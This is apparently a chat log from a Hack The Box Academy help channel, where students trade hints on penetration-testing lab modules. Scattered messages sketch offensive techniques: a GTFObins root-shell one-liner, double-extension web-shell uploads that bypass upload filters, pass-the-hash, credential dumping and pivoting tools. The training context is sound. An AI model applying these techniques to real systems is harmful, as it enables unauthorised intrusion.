modules

[dapper moth]

Use the note icon in the right bottom corner

[sacred rock]

Very, very doable, if you did CPTS, you already have plenty of modules from CBBH done, so this won't take much time.
I recommend revising and finishing the remaining ones, and going for it once you feel ready (maybe being comfortable with all the modules' skills assessments before jumping into the exam).
CWEE will be harder, but because you have completed most of the CBBH modules, you will have plenty of time to study for CWEE within the one-year timeframe; you just need to put a little bit more effort into it.

[fathom pendant]

i would like to add on that CWEE will have a base assumption that you have a grasp on some programming languages

[sacred rock]

Very good point, definitely worth mentioning.

[tulip copper]

Hi, I noticed that the exercises machines for Attacking Common Applications module are not stable at all, reachable for 2min unreacheable for 5min

it been going on for 3 days now

[wintry sonnet]

hey having some trouble on the SSRF question for attacking enterprise networks - web enumeration & exploitation if anyone is able to help, open to dm

[safe star]

yeah dm

[quiet canopy]

Hey all, I'm just working through the cbbh web proxies module and the zap hud just doesn't work. Just wondering if anyone else has had this issue?

HUD selected, but...no HUD 😦

[cloud urchin]

@jolly oasis please don't spoil content from modules above tier 0. On top of this, please don't spoil flags or flag locations. Have you considered looking at the text file directly?

[jolly oasis]

Sorry. Is this the correct place to post questions about those modules?

[waxen totem]

Yeah the HUD is a little finnicky, no worries though since you can do everything without it, just have to go back to the ZAP ui

[cloud urchin]

Yes it is the correct place, just don't spoil stuff.

[jolly oasis]

Got it

[blazing loom]

I have finished up Introduction to Windows Command Line and was about to start Introduction to Bash Scripting when I noticed that one of the pre-reqs is Web Requests. the Web Requests module is the last module in the Information Security Foundations. But I also noticed that Web Requests is also a pre-req for a few other modules in the path as well... Is it better to just stick to the order laid out in the path or is it better to do the pre-reqs first?

[waxen totem]

Do it in the order it's laid out, bash-scripting only has that as a pre-req because of curl which won't be too hard to understand even without going through the Web Requests module

[blazing loom]

I also noticed that Intro to Network Traffic Analysis and Introduction to Web Applications come before Web Requests as well and both have Web Requests listed as a pre-req. Same advice for those as well?

[waxen totem]

mhmm

The order it's layed out in is the one that makes the most sense

[blazing loom]

Thanks for the clarification! It's helpful.

[wooden seal]

Attacking Thick client applications
cant rdp into target server (getting below error) {using my own vm}
[ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]

[safe star]

Gl bro 😭🙏

I had to restart that so many times

Wasn’t even the worst part

[wooden seal]

i heard from someone about ippsec video on this uk about it?

cant find on yt

[wooden seal]

This message making me give up already

[waxen totem]

It's the box called Fatty

[wooden seal]

Thank you

[trail grove]

Hey yall hoping for a little nudge with "File Upload Attacks - Type Filters"

The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"

I was able to upload my php file with its content to the server, but when viewing its page, it is returning 404 not found

[cloud urchin]

Nope, not what this discord is about.

@atomic moss Please read the #rules this is not a server for illegal things.

[eager ledge]

Hi,

I need to use SharpUp.exe for priv escalation. The git repo doesn't have a pre-compiled binary in its Releases section. I had noted down precompiled-binaries repo under jakobfriedl account on the github earlier. But when I visit the page now, Chrome flags it as dangerous. The repo has got 145 stars which I consider good. However, I am not sure how much safe it is to download the executables from here. Are there some other similar repos that are reliable? Or maybe checksums for the files have been maintained somewhere?

[safe star]

Those are tools with lots of signatures, so it will get a flagged

this is another repo too https://github.com/Flangvik/SharpCollection

[wicked nimbus]

Hello Everyone, I am going through the CPTS path and at Footprint lab - Medium. I could not locate the links myself without any help. Does this happen in real world. Joining the dots was a tricky part for me. Learning was great. Like, I find NfS server, and then enumerating it further, use commands to navigate the files. One of the files has file size of more than 0 Bytes. and so on. Connecting the dots was difficult for me. Not sure if this is how it would be in real world as well. I loved the exercise as well. I might not be able to catch these red flags myself looks like 😦

[waxen totem]

Thats why pentesters work in teams, you finish things much faster, miss less things,and have a more diverse skillset

That being said CPTS is 100% meant to be solved solo

[native turtle]

anyone have issue with Windows Lateral Movement module? in particular in the RDP session Im using netexec (nxc) to perform password spray on rdp service but the target machine seems to not respond at all to nxc if I put rdp. with other services like smb it responds but extremely slowly

[thorny kraken]

You are still early in your journey. Your mindset will change over time and these methods will make sense the more you use them until eventually, you can do it alot from memory.

Don't feel to bad

[devout orbit]

If you encounter issues with the module pass the hash (pth), when trying to connect to the share \dc01\david and this fails. Check if you can lookup the dc01 with "nslookup dc01". In my case I wasn't able to find the dc01, it probably didn't got spawn up correctly. Therefore I couldn't connect to the share. Just reboot the machine and try again.

[wicked nimbus]

Thanks for uplifting and motivating me. The journey was looking a bit daunting and unachievable. But by being consistent, sometime should be there. Thanks again 🙂

[thorny kraken]

No worries, even the professionals look things up from time to time as well. It's better to spend the time to look something up and do it the right way instead of fumbling around and wasting time in my opinion.
But then fumbling around can have its benefits too i guess.

Keep on learning

[wicked nimbus]

Yeah for sure. 🙂

[thorny kraken]

Have you started on the hard lab? That one took me a little while to finish

[wicked nimbus]

Yeah, i am on it now while we speak

Trying to figure out by referring to previous sections on IMAP / POP3

[thorny kraken]

Nice, thats great.
Taking notes as you go can be helpful as well because you can write it in your own words and it might make more sense to you that way. It can be quicker to navigate to as well, instead of searching through past modules you went through.

Eventually we will need to produce reports as well so having notes to refer to can really help.

[wicked nimbus]

Ok do you recommend taking notes on Kali - notepad or something else. Or the host machine . I use Kali on VM

[thorny kraken]

I use the pwnbox provided so i put my notes into notepad on my main OS

Some use things like google drive so that they can access it on any computer with Internet

Hackthebox also has a note tab on the website for each module for students to use

[wicked nimbus]

Ok I think I’ll create a GitHub repo to access my notes online as I am also keeping track of what I do other than htb

And use vscode to write down notes in md format

[waxen totem]

Contact instagram and discord support, can't help you here

[wooden seal]

doing that module with pwnbox worked it was slow and annoying but yea it worked

[wooden seal]

check out gitbook its better for notes taking

[past zealot]

Okay thanks so much ! I'll say it to my friend

[thorny kraken]

Good choice

[wicked nimbus]

Ok haven’t heard about that. Will give it a try

[cold star]

Nevermind It's fixed

[native turtle]

Need help with Windows Lateral Movement RDP section
Login to the target machine using Helen's credentials. Then, use Pass The Hash to authenticate over RDP to SRV02 with the user you found in the previous question. Read the flag located at C:\Flags\hash.txt. The issue is that SRV02 since unreachable from the target machine once established the first RDP connection, I performed a ping sweep and find 172.20.0.10 but I cannot connect to that IP and I dont know if it is SRV02 indeed, any help?
I followed the instruction in the module for set up the pivot with chisel but the target since unreachable

SOLVED: LAB issue -> restarted and worked well

[soft moon]

why have you got local host IP?

IPv4 address = "127.0.0.1" aka Loopback address is your machine IPv4 address, which means its like pointing a gun towards yourself

[waxen totem]

show conf

[soft moon]

im curious what trying to do 😄

ooooo you are doing proxy chains

but it still points to yourself...

[waxen totem]

either way I think proxychains doesn't support ICMP, try nc or nmap -sT

[prisma wing]

Hi all got an issue with cookie-editor in Windows Privilege Escalation - Pillaging. I extracted the cookie via cookieextractor.py but when i go to use cookie-editor in firefox, it's disabled as it could not be verified by firefox. There's no way to enable it and there's no internet access either, can someone help please? Do i have to download it manually , transfer it over and then install it that way? I doubt it but it's the only way i can think of

[waxen totem]

Looks like you're using private mode

try using normal

yeah just double checked, proxychains only supports TCP and DNS, ping is ICMP so it's not supported

[prisma wing]

I'm not, i can see why you think that due to the mask being on the right of the title. Here's a full screenshot so that you know i'm in normal

[near orchid]

hello i am working on the PENTEST IN A NUTSHELL module currently at the LINUX PRIVILEGE ESCALATION section. Here you get your first example of how to break out to a root shell by using GTFObins

it is executing the reset; /bin/bash 1>&0 2>&0 command but its not entering a root shell.

its been stuck here for a good 20 minutes now, same thing happend yesterday thats why i thought i try it again today

is the execution suppose to take this long ?? or is this a vm error ?? or did i mess up somehow ?? anyone has any idea ?

nevermind i figured it out... good now

[soft moon]

which part is that @near orchid I am on shared libraries section

[leaden nexus]

Hi everyone! I'm working on the Linux Fundamentals module (Table: Shell - System Information), and I'm stuck on the question:
"What is the name of the network interface that MTU is set to 1500?"

The command ip link show shows ens3 has an MTU of 1500, but the answer is marked incorrect. I've also tried enp0s3, 2, etc.

Has anyone encountered this issue? Is there a trick to this one?
Thanks in advance!

[left comet]

Hi guys, I think I need help!
I'm on "Using Web Proxies", now on the "Proxy Setup" stage, but I am having issues with getting the ZAP's certificate (as well as it's newest version). I managed to instal the CA Certificate for Burp, but I got something different than it is showed in the lesson.
I am trying this in a VM separate from HTB, on my own pc.
Any kind of help is appreciated!
(please correct me if I am missing some information to provide 😅)

[waxen totem]

imo it's just faster to use ZAP's pre-configured web browser, you'll see it in the top menu of the UI it's the firefox icon

[dark hedge]

are you SSHed to the target

[left comet]

I think I've been there already, now that you mentioned it, I just opened firefox separately on it's own, instead of through ZAP!!
I got kind of lost half way through and I tried to realise where did I go wrong.
Thank you a lot, I will try again from there!!! (I'll get back if I still have issues 😭)

[eternal sand]

Did you get your answer ?

Sorry wrong guy

[soft moon]

is something I did wrong I can see sudo -l can do /usr/bin/openssl but the instructions are targeting apache2 web server

[eternal sand]

Did you get your answer?

[left comet]

all good

[waxen totem]

Because the lab is not exactly the same as the instructions, you gotta think what you can do to find a way to use that privilege to privesc

hint: ||Look it up in GTFObins||

[soft moon]

indeed im checking the config file in /etc

of ld.so.conf but when I get stuck I check that hint you dropped

[left comet]

I don't see the section with "Dynamic SSL Certificate" and I've tried going through the ZAP's browser instead this time.
I can get the Burp Certificate, but ZAP's one is not showing...

[vernal tapir]

File Upload Attacks When crafting my payload to try to bypass filters, It seems like I'm breaking my files in general when uploading, not being able to use the shell. Any idea on what I'm doing wrong?

[late junco]

Hey fam, how i can brute force while changing the ip address in the X-Forwarder-For every N requests in Burpsuite.

[soft moon]

am I getting closer or further away?

I have a feeling I am further away :<

[left comet]

I think I managed to do it manually, should be solved

[soft moon]

I was sort on the right track 😄

[vestal fable]

try another extention

[vernal tapir]

Yeah I'm still stuck at it, realized if I add .jpg or any file type it'll break the code right?

So I need to try to make it a php extension + bypass another way

Just kinda stuck.. module doesn't explain very well

[vestal fable]

what's the topic in file upload?

[vernal tapir]

Bypassing Filters > Type Filters

[vestal fable]

Oh, i have finished yesterday

it's trick

[vernal tapir]

What I've discovered. Extensions "pgif, phar, pht" are working.
But, when fuzzing all content-types it's still giving "Only images can be ..."

Yeah def is tricky

I've tried the GIF8 trick too, obv i thought I was lucky, but only broken code uploaded lol

[vestal fable]

did you try to sent all the exntentions?

You probably used the intruder already to fuzz, but try to experiment the extentions on the repeater to see which one upload successfully

[vernal tapir]

I've fuzzed Content-Types which truly isn't doing much for me

I did try extensions, seen which ones allowed "Only images" vs "Not allowed"

So basically any image content-type extension will work? starting to think so

[vestal fable]

I'm saying this cause i don't think it's spoil, but in the function you can see that allows jpeg, jpg, and png, you are in the right track

[tepid crane]

Hey guys,
even if its obvious and a easy task, I need some hint regarding:
Skills Assessment - Using Web Proxies

Q1 the Button.
Way 1
I did is manually, created a POST request out of the source code, as parameter (which is wrong) and as data (which is correct)
-> Flag not found

Way 2
I did a F12 in firefox and the the disabled button to false, the POST req appears in BURP, but even after serveral tried I just see the POST req, but no flag either.

Way 3
Burp intruder with a random header, tried the POST req 100 times, no luck. Even with CURL as User-Agent.

Way 4:
Took the Burp Req in Curl, same. No Flag.

Can someone hint me the single option I am missing out here? Thanks in advance

[vestal fable]

the fact that you can upload dosn't mean that it can run php

you have to find the extetion who can execute php

[vernal tapir]

Hmm okay, I re-fuzzed and grabbed the 5 extensions that might work. I'll try that.

So I've tried .pht, .phar, .phtml, pgif. phtm for extension types, and still returning "Only Images". I'm not sure man, I'll go ahead and re-do the entire module because this one makes no sense lol I appreciate trying to help 🙂

[tepid crane]

Even if Im not that far like you buddy. I did a quick check, while waiting for my answer. You need a file extension for running code. I just see one from your examples. One can run code, regarding my google result.

[distant smelt]

Hi Everyone, I’m stuck on trying to crack the hash file of the keePass DB in the Password Attacks Lab - Hard. I’ve tried the list provided in the resources {Both the Password.list and the mutated list made with custom.rule) but nothing works. Could someone please point me in the right direction or are we expected to use rockyou.txt and wait forever?

[distant smelt]

I also tried password.list with best64.rule but it also didn’t work SOS 🫠

[vernal tapir]

So the file must have two extension types?

[tepid crane]

You wrote your 5 extension types, I only see one extention which is "executable" and show not return as an image, when the content is approriate.

You may want to google filextension: xyz reverse shell, then I found a one liner. that may work. But as said, I'm not that far with the conent.

[vernal tapir]

Thanks man, I think my issue is I try to stay only inside of what's in the academy. I don't like taking google as answers etc as that will be unreliable for the exam yk

[vestal fable]

I honestly finish it with the content on the module

"We see that we get a message saying Only images are allowed. The error message persists, and our file fails to upload even if we try some of the tricks we learned in the previous sections. If we change the file name to shell.jpg.phtml or shell.php.jpg, or even if we use" quoting the type filter sections

the php code will only be executed if you are using the right php extention for this

[vernal tapir]

Yea ill just come back to this tomorrow I'm already frustrated. tysm for help. this module is getting my first 1 star 100%

I've read this module multiple times, I just am not getting it. Time to call it quits for the day

[glass locust]

Strange, mut_password list should work here. DM me if needed.

[vernal tapir]

Nvm, thanks everyone for the help. Indeed got me further to my issue.

The frustration this gives me sometimes...

@vestal fable & @tepid crane ❤️ tysm

[vestal fable]

yo nice, glad to help 😄

[vernal tapir]

What's annoying was how close I was

But I went too deep not thinking I needed 2 extension types (.jpg.xxx)

[glass locust]

<@&861185840277487616>

[slate zinc]

thanks 🙏

[tepid crane]

may I ask for help/hints here, I tried to cover up my mistakes to improve.

[nocturne rock]

i have been slamming my head against my desk with the section #2 in windbg intro module skills assessment. I have done everything else. I have malware analysis experience and flew through malware analysis and maldoc, and i have been stuck on the middle 2 question in windbg skills assessment.

[sour nacelle]

Can anyone give a hint regarding Advanced XSS and CSRF Exploitations - XSS Filter Bypasses task

[vernal tapir]

What module?

[sour nacelle]

Advanced XSS and CSRF Exploitations module

[wet dome]

pls can someone help me write exploit for the postman lab for root access, i tried many walk throughts, videos but still i cannot get in.

[novel valve]

Do we will get a netexec learn module?

In the next time

[acoustic thorn]

Can anyone explain the process of setting a double pivot through only metasploit? AEN seems to suggest that in order to double pivot the user must upload a rev shell to the 2nd pivot host thorough the 1st pivot's meterpreter connection.

[opal jewel]

NTLM Relay Use Cases Module

world writable and readable and access denied?!

Its a permission issue for respected .txt file to be submitted. Ive done the same thing via multiple routes

I suppose I can skip and continue and read the files later but

[waxen hedge]

Am new here

I need someone to teaching me tell

@slate zinc

[cold star]

Hey, I just started AD Enumeration & Attacks - Skills Assessment Part I can anyone guide me why I am unable to move directories in web shell and when I upload my own payload it gets uploaded But I am unable to execute it

[keen cairn]

Finally worked my way through web requests now onto the good stuff 🤙🏻

[weary torrent]

anyone experiencing problem with sqlplus in footprinting Oracle TNS section ? Is there any other way to install this without signing up for an account at Oracle first? Edit: Got it figured out, for future references and run this script and implement the fix in the module afterwards: sudo apt install oracle-instantclient-basic oracle-instantclient-devel oracle-instantclient-sqlplus -y

wget https://deb.parrot.sh/parrot/pool/non-free/o/oracle-instantclient-devel/oracle-instantclient-devel_19.6.0.0.0-0parrot2_amd64.deb
sudo dpkg -i oracle-instantclient-devel_19.6.0.0.0-0parrot2_amd64.deb a

[azure willow]

Hello, I want to start with "Hack the box" but y don´t now anything, I will start in 0. ¿Anyone can sayme some tips or how to start in this world?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cloud urchin]

@devout orbit Please don't post content from modules above tier 0. Simply ask your question with words.

[cloud urchin]

Please do not ping random people in the server. If you need help with modules you can ask here, otherwise read the #rules and follow the instructions in #welcome to gain access to most of the channels.

[azure willow]

Is in somewere this but in spanish? (Im from spain)

[cloud urchin]

I don't believe so

[azure willow]

Yes, I try with chrome and they give me the option to translate the website to spanish 🙂

[devout orbit]

oke, I will in the future, but can you confirm that machine is not working as expected?

[cloud urchin]

It worked fine when I did it, but it's been a long time and something could have broke. Every single time I thought something was wrong I found out I wasn't doing it right, so I would wager it's probably working as intended.

[quasi wave]

I am able to make the dll file appear in the Windows cmd line for the RDP and SOCKS Tunneling with SocksOverRDP section of Pivoting, Tunneling and Port Forwarding by adding exclusions but it still won't successfully run the cmd the sections says to run on the file whether I add exclusion for the one file, both folders, the whole desktop, or all of the above.

I have a screenshot but I'm scared it will spoil content.

of the Windows error

this one section has taken me three days

someone tried to help me but the first instruction he gave won't work

[rocky kayak]

hi im new just looking for advice

[quasi wave]

can someone help me? the guy helping me says he doesn't even think this section is necessary

[quasi wave]

start with InfoSec Foundations

or the other prerequisite path

to then go into CBBH or CPTS or CDSA depending on which prerequisite path you did

I recommend InfoSec Foundations > CPTS to learn basics

then go elsewhere from there

[quasi wave]

I know its not him because the advice he gives always is good advice. He and I agree that this section is BS.

can someone help me with this?

I literally followed along with his instructions and it won't work

[rocky kayak]

which one is the best cert

[quasi wave]

Depends on what you want to do

if you want to do network pentesting then do InfoSec Foundations path and then do CPTS then CAPE to start

but if you want to do web app pentesting then InfoSec Foundations > CBBH > CWEE

if you want defense then do the defensive security prerequisite path then do CDSA

those are the places to start

[rocky kayak]

ok thanks

[quasi wave]

InfoSec Foundations > CBBH > CWEE is better if you want to do bug bounties

CPTS is also good if you don't know which cert you prefer but do InfoSec Foundations path first

then if you want to transition into web then CBBH could be next after

[quasi wave]

can somoene help me with this?

[digital crater]

Hi everyone, question about "Abusing HTTP Misconfigurations": "Tools & Prevention" (CWEE path)
The question says "[...]identify an HTTP Header[...]"
What kind of response are we expecting? A flag? A header? Just the name of the header or the full header?

[safe star]

is defender removing the dll?

[quasi wave]

yes until I add exclusions for the file, both folders I copied over, AND the Desktop, and even then it gives me an error if I try to run regsvr32.exe on the program

like it won't allow it

but adding exclusions can make the file appear in cmd prompt under dir command

but that's as close as I can get it

[safe star]

try turning off defender

[quasi wave]

ok

[quasi wave]

I disabled real-time protection to turn off Windows defender but it still won't work

[dark hedge]

that error code means access denied iirc

[safe star]

are you able to open as admin

[quasi wave]

The cmd line? I think so yes but I already tried that

[cerulean grail]

Can anyone help me with the "Automating Payloads with Metaaploit" module? My nmap scan shows that several services are open including SMB. How do I know which SMB exploit I should be using? There are nearly 450 different ones when I search for "smb" in Metasploit.

[shadow grove]

SMB version numbers, OS version/update level, nmap vuln scan.

[cloud urchin]

Please make sure not to post content from modules above tier 0 guys

[rugged bolt]

@cloud urchin did you delete my post? what rule did I break? what about my post broke the rule?

[proven gust]

Infosec is information security right?

[quasi wave]

Technically yes but that learning path is supposed to be prerequisite IT skills for the different cybersecurity pathways

So but I mean that’s why its called “foundations”

But yes it focuses on InfoSec

[proven gust]

Ofc is in the hackthebox I got it

[quasi wave]

@safe star Can I DM you?

At some point tomorrow?

[cloud urchin]

Yes I did. You can't post content from modules above tier 0. As the pivoting module is above tier 0 and you posted a screenshot from the module as well as revealing other details I deleted it.

[rugged bolt]

can you define "Content"?.. I was told you can post ss just not information that reveals commands, flags, etc. which I didn't. I asked a question and provided screenshot showing I couldn't connect to .155

I can post the same question without the screenshot showing i couldn't connect to .155 then?

[cloud urchin]

con·tent2
/ˈkäntent/
noun
noun: content; plural noun: contents

the things that are held or included in something.

[rugged bolt]

ok pepega

[cloud urchin]

Your screenshot showed the VM from the module, the username, IP address, items on the desktop, etc

Anyone who has done the modules should be able to assist without you needing to post screenshots etc., so it's really not needed

you can just articulate the module, section, what you've tried, etc without posting content

[magic mango]

i need a little help here. i'm doing the footprinting skills assessment- easy. i have to edit the vsftpd.conf file for anonymous access and get the flag?

[waxen totem]

Cant recall but am pretty sure you dont need to edit any confs for that SA

[safe star]

yeah sure

[mighty matrix]

Hi guys

currently revisitng SSRF module and need help on the identifying ssrf part. I've identifie some open ports, so for example if one is the mysql port, how exactly can I access this?

this is what I'm getting

and since SSRF makes requests internally, I don't think I could use command line to access mysql on this server

[cloud urchin]

@mighty matrix Please take care not to post content from modules above tier 0

[mighty matrix]

sorry about that I dont know how that all works 😅

as im following the cbbh path it doesn't show any tiers

[mighty matrix]

well Im getting an error message when I try add localhost:port in burp repeater, it's a different error message so it definitely exists but i think I may have forgotten something...so any tips in the right direction will be helpful

[cloud urchin]

It shows the tier when you start the module

[mighty matrix]

ah okay

[magic mango]

for the footprinting skill assessment-easy i think i'm heading in the right direction...i just need help understanding the data that i'm getting back from the audit, i'd apricate it if i could share a screen shot with someone?

[mighty matrix]

thanks

[silk lagoon]

pm

[novel mauve]

someone here new ?

[cloud urchin]

you

[novel mauve]

😆

[inner jay]

Hello everyone, I have a question regarding the CPTS report template from the module on Documentation and Reporting.

The module advises against duplicating findings within the report. However, in the provided demo report, the Attack Path section outlines the full path the attacker took to compromise the network, which includes vulnerabilities such as:

LLMNR/NBT-NS Response Spoofing

Weak Kerberos Authentication (“Kerberoasting”)

These same vulnerabilities also appear again in the Findings section.

Could someone clarify how to handle this? Should these vulnerabilities be mentioned in both sections, or should they only appear once?

[fathom pendant]

local is used because you're using files on your local machine; so you're telling impacket to not attempt a connection

otherwise if you do have valid admin credentials; you can use secretsdump to remotely dump that info

[cloud urchin]

@silent prawn please re-post without spoiling contents from the module. especially a skill assessment.

[silent prawn]

Hello, can anyone give me some advice?
Module: Advanced XSS and CSRF Exploitation
Section: Skill Assessment
Question:I tried uploading an HTML snippet that automatically triggers a request to the role-assignment endpoint when the file is opened. Although I can see the request fire in my browser’s network logs, my account’s role never changes—as if the bot didn’t open my file. What might I be overlooking?

Thanks in advance!

[velvet laurel]

Yeet

[rocky flume]

hi everyone i'm on the academy intro and the question is on the tier 0 module how many cubes are you rewarded for completing. I know the answer but it's not accepting it. I tried number and i tried w riting the number in words. module 15 section 34.

[autumn pilot]

If it is not being accepted it is highly likely that it isn't the correct answer, especially, when you have double-check any leftover space characters

[rocky flume]

Thanks dpgg I thought so too but I'm literally looking at the cheat sheet so I know the answer is right. Can i put the answer here as on the question has a cheat sheet, it's not really a secret

[quasi thicket]

Hello everyone, I am facing issue with file upload exploitation. I was able to upload PHP/phtml web shells to /files.php(web) however I can't locate the actual execution path. Developer tools & burp suite didn't help. Tried FFUF to brute-force paths but no luck. Also trying to get SSH access to remote host. SSH is open (unfiltered) but I don't have credentials. No success with hydra brute force. Any help, pointers would be greatly appreciated.

[autumn pilot]

It is a tier 0 module, so go for it

[rocky flume]

the answer is supposed to be zero. the cheat sheet says the cost is 10 cubes and reward is 10 cubes. I've tried answering 10 cubes, i tried 0, zero, ten. I'm stuck

[autumn pilot]

It is looking for a number, not 2 bananas, 3 pineapples, etc.

[rocky flume]

thank you that did it, thanks a million

[thin summit]

Hey everyone,

I'm currently working on the Attacking Enterprise Networks/Web Enumeration & Exploitation module on HTB Academy.

When I spawn the target, I can access the main page at inlanefreight.local, but none of the expected subdomains (like blog.inlanefreight.local, careers.inlanefreight.local, etc.) are reachable. Because of that, tools like Eyewitness also fail, and I can't collect any flags.

Is this a known issue or am I missing something in my setup?
Would really appreciate any help or pointers!

Thanks!

[fathom pendant]

you'd need to add the subdomains to your hosts file as well

[thin summit]

@fathom pendant thanks. that was the problem 👍

[fathom pendant]

i suggest continuing through the module blind; not reading the questions or material.

• The questions are leading
• The module itself is a walkthrough

save flags you find, and fill in where appropriate

[little terrace]

is nmap able to perform netcat and wait? i just find it awkward that sometimes that i have to connect with netcat on the side and wait to get answers/flags.

i've already tried the --initial-rtt-timeout at 120s and it doesnt show anything compared to just doing nc

[waxen totem]

What do you mean perform netcat ? nmap and netcat although both interact with network interface ports work in fundamentally different ways

[slim coyote]

guys im tweaking on API attacks skill assessment, may I request a hint?
|| I've tried bruteforcing the password reset security questions for the five emails with a wordlists of colors if it's worth anything||

[waxen totem]

try whoami?

[fathom pendant]

-sU

also: nmap won't be able to get you all the info

[weak crescent]

1. UDP port seems to be closed AFAIK, unless it's another one :/
2. For future reference, are module spoilers not allowed even in spoilers? Just to make sure I don't do it next time

[thorny kraken]

For the hard lab, everything they explained in the Firewall and IDS/IPS evasion section helped me get the flag

[weak crescent]

That's where I've been guiding myself from, and it has worked wonders so far, just missing the last ||banner grabbing|| part...
I suppose I'll keep at it, thank you all for your time and effort :)

[rose forge]

Hi

[thorny kraken]

No problem, the way to get the answer is literally staring you in the face

[thorny kraken]

[rose forge]

Can you tell me what is this server about

[thorny kraken]

This the discord server for the hackthebox website

[rose forge]

I mean yeah but what do you all talk about actually

[thorny kraken]

This section is #modules where people that are going through the htb academy come for nudges on modules when they are struggling

[rose forge]

Man you talk like a bot

[thorny kraken]

Thanks

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[weak crescent]

That's both recomforting and frustrating 🫠 Thanks though, appreciate the tip! :]

[thorny kraken]

Have you found the port you need the banner for?

[weak crescent]

Well... yeah, I believe so

Even still, ||netcat returns permission denied|| upon trying to connect to it :/

[fluid roost]

How to know wifi password

[thorny kraken]

What is the nc command you are using? Think about what you did to get the port to show as open in nmap and use that method with nc

[fathom pendant]

1. module is above t0
2. It's a skill assessment

[fathom pendant]

netcat requires sudo to bind to ports <= 1023, as those are reserved ports

[fathom pendant]

this channel is for discussion of the academy learning modules; https://academy.hackthebox.com
if you want access to more of the server there's instructions in #welcome that contain instructions to link your htb account to the discord to access

and yes, it's how you gain access to #general

[weak crescent]

1. Okay, I see, sorry about the other messages then... I'll make sure to not 😅
2. Oh... well, that's slightly embarrassing, it really was staring back at me in the face, didn't think it would be that type of permission denied...

Even so, that was exactly the missing piece and now the module is finally complete, thank you so much dizewo and MarcieLee for your time (and patience!), and I hope everyone has an awesome day! :]

[thorny kraken]

No problem, enjoy your journey

[bronze lodge]

I'm trying to connect using OpenVPN, but I'm getting stuck during the connection process.
Has anyone else run into this recently?

Never mind — it's working now!

[digital crater]

Bumping this as it got buried. Any help? The module expects an answer but the question doesnt specify what. Or should I assume every answer is a flag?

[autumn pilot]

The answer is not a flag, but rather something produced in the output of the tool

[digital crater]

thanks! I'll search in that direction

[soft moon]

just takes sometime for it to establish connection 😄

[digital sigil]

dm me

[cold star]

Hey Guys, I am doing assessment 1 of active directory enumeration and attacks and I am stuck in question 5
Find cleartext credintials for another domain user summit user as answer
I have no idea what user it is taking about and In Ms01 machine I am able to access due to ps session inside metasploit shell but not able list or navigate directories

So my main question is how can I get proper shell in ms01 machine which I am connected to via ps-sesion inside a metasploit shell

[gentle hollow]

I am about to ask a very stupid question but doing Network Enumeration with Nmap Host Discovery section. In the final question it ask to detect the Operating System, is it the operating system of our HTB Virtual Machine or of the IP address given in the final the lab lectures? I did get the opearting system of my HTB VM but it keeps saying it is wrong and of the lab lectures still working on it

[wooden seal]

You are supposed to tell os of target (IP given) host

[keen fiber]

Dear all, I have a question concerning the module "Pivoting, Tunneling, and Port Forwarding", Section "RDP and SOCKS Tunneling with SocksOverRDP": The Questions states " Use the concepts taught in this section to pivot to the Windows server at 172.16.6.155 (jason:WellConnected123!). Submit the contents of Flag.txt on Jason's Desktop." I can successfully connect to the pivot host, however the target is not online. I performed a Ping Sweep (from the pivot host) for 172.16.5.0/24 and 172.16.6.0/24. This identifies to machines (172.16.5.19 and 172.16.5.150 [i.e. the pivot host]). The credentials don't work in either of them.

Does anyone experienced this issue? Any hints? Thanks!

[gentle hollow]

Hi thanks for, we have to tell the OS for the given host like "Linux" but is the IP address given the same one as the lecture notes?

[hidden urchin]

while going through modules there are certain RFC mentioned for the services and protocols do we need to go through them ?

what are the in general best approach to read and learn from RCF i mean they are very lengthy

[wooden seal]

observe the nmap results

if u need a hint lemme know

[wooden seal]

no u r supposed to tell the host which is getting scanned with nmap

[silent prawn]

Hello, can anyone give me some advice?
Module: Advanced XSS and CSRF Exploitation
Section: Skill Assessment
Question:I tried uploading an HTML snippet that automatically triggers a request to the role-assignment endpoint when the file is opened. Although I can see the request fire in my browser’s network logs, my account’s role never changes—as if the bot didn’t open my file. What might I be overlooking?

Thanks in advance!

[gentle hollow]

ah ok, i will double check since i thought the question is "find out which operating systgemr it belongs too"

[wooden seal]

idk but my senses tingling i confused you 😭 lemme know if u get the answer lol

[gentle hollow]

I think I got it by checking out the TTL and I think I did not need to even use the VM instance

sorry noob here but wont be for long

thanks for the help @wooden seal

[wooden seal]

its not noob it was same experience for me too haha

[wooden seal]

i think u should dlt this as it discloses info to answer

[wooden seal]

no problem

[reef sonnet]

is there a reason why it is not possible to get to that hidden directory in
https://academy.hackthebox.com/module/144/section/1311

i am trying to get an answer to this question:
What is the API key in the hidden admin directory that you have discovered on the target system?
when curling it just responses me with 301

nvm, i just forgot extra slash

[keen fiber]

Ok, figured out my issue. Double hop

[vestal minnow]

In the Weak Permisisions section in Windows PrivEsc module https://academy.hackthebox.com/module/67/section/628 i cannot run SharpUp.exe because it uses .NET 3.5 and the machine doesnt have it

[icy dagger]

Hi everyone!
I'm currently working on the XSS Filter Bypasses section and, like others in this thread, I'm running into some challenges.

I managed to find a way to execute JavaScript, but it seems that the code runs in a restricted context — something referred to as a unique opaque origin. Because of this, the script isn't able to access resources like home.php or admin.php.

If anyone is willing to point me in the right direction or offer a hint, I'd really appreciate it. Thanks in advance!

[cold star]

Anyone?

[vestal minnow]

Hello

[dapper moth]

Haven’t you got a meterpreter session? Should be good enough

[vernal tapir]

Cross-Site XSS module?

[cold star]

No no, let me explain first I was given web shell which was not interactive I managed to upload my payload there and get meterpreter shell which was stable and allowed me to move directories but Now I want to access another machine which I can do with Ps-Exec but that is very unstable and does not allow me to execute commands properly so that's what I am asking is there any way to upload my payload into another machine?

[dapper moth]

Have you done the pivoting module?

[cold star]

No, That's why I am here asking for help

[dapper moth]

You can use MSF autoroute with MSF proxyserver and run commands via proxychains

Or chisel

Or Ligolo

[cold star]

Thanks for the path I will test this now

[cold star]

not possible can not drop any files into Ps-exec session

[dapper moth]

Search for pivoting and tunneling articles

[cold star]

I think this worked

[dapper moth]

You can, actually

If you declare a PSSession and then run the Copy-Item cmdlet with -ToSession flag

[rugged crystal]

